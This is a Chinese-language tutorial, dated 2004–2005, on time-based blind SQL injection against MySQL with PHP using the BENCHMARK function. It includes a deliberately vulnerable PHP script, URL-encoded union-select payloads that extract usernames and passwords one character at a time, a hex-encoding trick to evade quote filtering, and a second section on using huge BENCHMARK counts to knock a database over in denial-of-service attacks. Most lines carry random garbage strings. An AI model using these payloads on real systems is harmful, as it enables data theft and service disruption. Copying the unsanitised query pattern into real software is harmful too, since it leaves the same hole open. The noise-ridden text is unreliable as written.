MYSQL中BENCHMARK函数的利用
8 k( ^- g5 C9 P3 F4 V. H本文作者:SuperHei2 R0 p( m0 F6 ^
文章性质:原创
* y. y# I0 ~& s6 `发布日期:2005-01-02; o/ m0 B2 e: m4 v& O+ P8 R8 A; t0 B9 p
完成日期:2004-07-09
7 J. q6 K$ ?/ f" h* @6 K第一部
( N2 X3 J$ @5 d2 ^. L! i
6 p8 r- U' p- Q7 K# A" z利用时间推延进行注射---BENCHMARK函数在注射中的利用 6 v8 I! w1 Y; w' C4 ~& M0 g9 x
0 A" z, v1 \0 _" {0 I7 V( d一.前言/思路( m2 b7 x$ y; x7 H& Q; }
' Y: K* ?: R9 i$ ?! i6 s" u7 Z1 k 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。' D% h/ f9 z# k. i5 O
# [9 c7 L3 j) `: _' l 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
% D! o5 M! u( t0 d6 x; d
7 k8 ]: R, | Z2 ^' B5 g) S. e5 ]二.关于BENCHMARK函数
9 c1 F) L# P A% A! F! I8 x( u) g' [; i. }
在MySQL参考手册里可以看到如下描叙: # Y# B2 V0 ?. i# r0 |6 X3 U( e
1 Q. W8 g; ^' T+ e# m
) U3 } H4 X# u# w8 H) b
--------------------------------------------------------------------------------& [* q3 r3 H( p& c2 E
3 h. M! F% v' A5 Q! r( ^
BENCHMARK(count,expr) # d6 M8 W/ o" \# P
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
" r5 T4 A m- ?" f1 ^7 {8 Vmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
6 S* @5 M5 C W7 r7 H; N7 }+----------------------------------------------+ 1 a- y! S1 k/ b# ?' Y9 M- u) J1 x9 J
| BENCHMARK(1000000,encode("hello","goodbye")) | $ \4 q, b9 b. p, ]9 }; T, _) p
+----------------------------------------------+
1 j. ~- E( i r: p6 W6 e/ E$ o5 @| 0 | 4 y1 r, X& [) Z! o( g( X; ?
+----------------------------------------------+
7 k7 Z x$ |+ J8 P; H1 row in set (4.74 sec)
G' f3 F. v) P
) I% D2 T, B. i4 U# ]% B) Q- p报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。, X& S5 k+ N- I, i; _5 C
* ?4 M; s& o) H+ E" Q+ `
h% R6 ^3 A K
--------------------------------------------------------------------------------6 b$ D) l8 \ }) d0 B
& @ h e) y. V5 b
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
5 _$ L" \; K: U5 U4 y
+ P' e6 W% f7 z2 tmysql> select md5( 'test' );
# I& o8 W' k' V# Y- E8 u! [+----------------------------------+
! m2 O5 ~, Q" c) y$ K! |8 Q| md5( 'test' ) | 0 g f% J9 |& n
+----------------------------------+
. B+ G$ {4 B9 R& N/ O" E1 D| 098f6bcd4621d373cade4e832627b4f6 |
/ W5 g h ^& X+----------------------------------+
* K9 U9 _# h3 U! ]' d9 W* w; N. y1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
' q9 y* w; d; x% P
! f7 O9 u4 o( V+ V& Zmysql> select benchmark( 500000, md5( 'test' ) );
7 l6 n- ]* s2 o+------------------------------------+ 9 J6 j# S' \ J, n9 \6 L
| benchmark( 500000, md5( 'test' ) ) | . p$ @+ T/ q- l6 r2 n+ z7 S+ k
+------------------------------------+
4 b, {2 J3 u9 z1 {1 f| 0 | ' N9 N8 L7 C5 ^/ R' ~
+------------------------------------+
0 t0 l: B4 I: I5 n& v' L1 row in set (6.55 sec) 〈------------执行时间为6.55 sec$ }/ m- |- o# |
9 n. V6 X: g+ N/ r" [8 }6 K7 G2 ?+ ~ W1 o8 q" {: w- f$ u! V- `% S
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
" a2 C- u) w8 R7 B9 e' T& w) ^% `* |
三.具体例子
" A" j/ T3 N% f" h6 `1 v: g
8 L: F. B' p' I5 s$ |' C 首先我们看个简单的php代码:0 p3 R$ a4 O; f/ i/ ]: G
, C: y& r/ i$ s, r/ c& l2 ^0 F3 `: C' @/ W< ?php
$ m! B: h- T: A, v- A# q$servername = "localhost";
q/ L+ L* m1 B1 p+ ^4 k# l$dbusername = "root"; 6 B O& X; m; L1 t/ t
$dbpassword = "";
. B) [, N7 M: A, l S/ f( a1 p$dbname = "injection"; % H# [# O/ u: C0 Z; f5 i
' q# ]& R& k }. o* _2 N1 n$ j/ Xmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ' N' N9 `) N- o: P
6 p1 w$ i% P# \0 F+ \7 p
$sql = "SELECT * FROM article WHERE articleid=$id"; / A/ l( r" a( g, z+ E' d+ O/ z
$result = mysql_db_query($dbname,$sql);
# Y# y$ d+ r! ]; a+ \3 o4 b$row = mysql_fetch_array($result); ! \3 c, R% _1 w6 r7 A: g
$ h8 g5 L( P9 p _5 N
if (!$row) ! n% w# j9 d" ?$ L- @; k
{
* V9 q; p5 |. T4 u, ^4 V2 a- uexit;
' y h4 @* X; S8 S. }. ]) J7 o} ; z4 x5 P" x# M4 l, @- N4 e7 X3 ^
?>
+ U l% b& L& \2 c* k3 V / A7 d) P) \+ M9 l5 f2 i
7 P% y4 @# U/ I' J! Y/ C1 t
数据库injection结构和内容如下:/ w% w7 r2 J- m( R4 l( v
! H+ {$ H# {" e- O0 s2 ]2 z0 U& @# 数据库 : `injection`
- y( c2 U& n# ^8 Q/ [# k#
. H: S* r* V+ u8 u; G7 ~
/ k3 z/ G; y/ n% v. F5 f: U, f: P# -------------------------------------------------------- ; I+ Y4 r. _5 E- ]' ^
& y" @2 j$ G9 _1 i* v1 Z/ d0 Q
# 2 [$ y- f X6 `
# 表的结构 `article`
- W1 A) A" X( B# ) U& F ?: h& N. y. @* C- q+ y
$ v2 p' ~# l9 W$ [CREATE TABLE `article` ( $ {5 y5 @, [. s* m0 p( u* m
`articleid` int(11) NOT NULL auto_increment,
6 v. {. T# b% l0 D( t2 X7 d`title` varchar(100) NOT NULL default '', . {% y! _" `' S, }) J3 P
`content` text NOT NULL, " {' l7 H4 ?* t! Q( X8 ]* E
PRIMARY KEY (`articleid`)
5 c/ S4 y% Y7 L: m) TYPE=MyISAM AUTO_INCREMENT=3 ;
$ m; F8 R. ^( J3 ^! n$ J- w4 x5 M) H4 k: }: s/ h- ^ R: V7 |
# ( g/ `, Z3 |, W6 F4 g
# 导出表中的数据 `article` 1 N! J4 s1 S! C# I5 d
#
" f7 d/ L. C9 ]7 k
' O, N: ^7 A( v8 Z0 {INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
5 ?3 W% N' v& L* j0 HINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); $ \/ t* E# k6 E, o/ r& O* x
. U' ~8 q4 J5 p( i0 ]4 |1 p/ V8 k
# -------------------------------------------------------- 5 s/ ` F, X8 A& @, J
3 q6 N. A+ h5 W( j P; l# Q#
2 R# }. W' w ^+ G% s/ H# 表的结构 `user`
+ | K$ k% a+ K+ @* P# " S4 Y% p9 V' b4 q
* B0 D5 ~1 N' x/ Z. MCREATE TABLE `user` ( 9 k" n% ~" f/ V. e1 P
`userid` int(11) NOT NULL auto_increment,
+ `) c/ b1 o; E: `0 \3 s( {. X`username` varchar(20) NOT NULL default '', $ p6 T% o5 I5 M
`password` varchar(20) NOT NULL default '', ) N# G( W, @! g& X y
PRIMARY KEY (`userid`) 3 F8 A+ c' r& U3 g# y1 K8 s
) TYPE=MyISAM AUTO_INCREMENT=3 ;
- V u6 Q! e" y1 | h. l1 F2 T5 z
( {9 u! M& u- h0 U u#
/ A5 ]# s, ]4 L. Y* J1 C& h" u' z# 导出表中的数据 `user`
0 S' y& c, r# H0 D/ N# D6 }( B2 p#
9 A# w& Q0 Q# O
" F8 i7 |9 Y% @& C( XINSERT INTO `user` VALUES (1, 'angel', 'mypass'); . T7 [: w% g: H$ b' `( \, Z9 v
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');& R0 f r' x/ h
+ w1 ]9 ]: L/ t7 M5 s4 j* t7 H q
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
$ k! Y8 d4 A9 m/ z( J8 |' A6 Z+ _1 k" z$ r! G5 R) }
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*1 q4 e( d; N. Y
) l, T/ O) T1 f6 w; v# h
- U3 w4 s" w$ `& R9 Z2 s 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:' v$ I) k( ?- [. r0 l: o8 F2 w2 r
. G* t% O' B; ^0 ~: Uhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*8 V4 Q9 ^& ]; m* }! u
4 |+ _- W+ G/ t3 I" o, o/ D8 A
# v; F: a1 A* f# L4 Q
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
" n; ^) G* ^' X* ]1 M& z
; C5 M* a$ v( ^/ a0 }* x 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
# K0 A. A8 H ]. B4 Q# n0 e, s( c+ X9 b( O( F9 Z0 q
第二部
3 g( E u7 B3 z; q q) v* U5 i1 n/ G+ L d) w
利用BENCHMARK函数进行ddos攻击
7 U' h6 `5 i0 Y' o g; C/ s9 x( s7 m4 H" ~5 w b S
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:2 `/ W* r* }/ t$ J- |! J. n
; m6 w0 t# M, T$ W- s+ Ohttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
, g- F6 Z# Z& Q: K3 e* J
) ~' `5 @* a$ U q
1 S& ^; H' C7 t0 G小结
; g2 g* w* O8 \" I4 H: z4 u. b8 a% R* ^4 \1 m" k+ Q& ]; N; M
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。4 W7 g4 H& `& O5 a) p# r
& v* x( ]) ^5 S
% d4 o4 n* R+ x. M2 u
|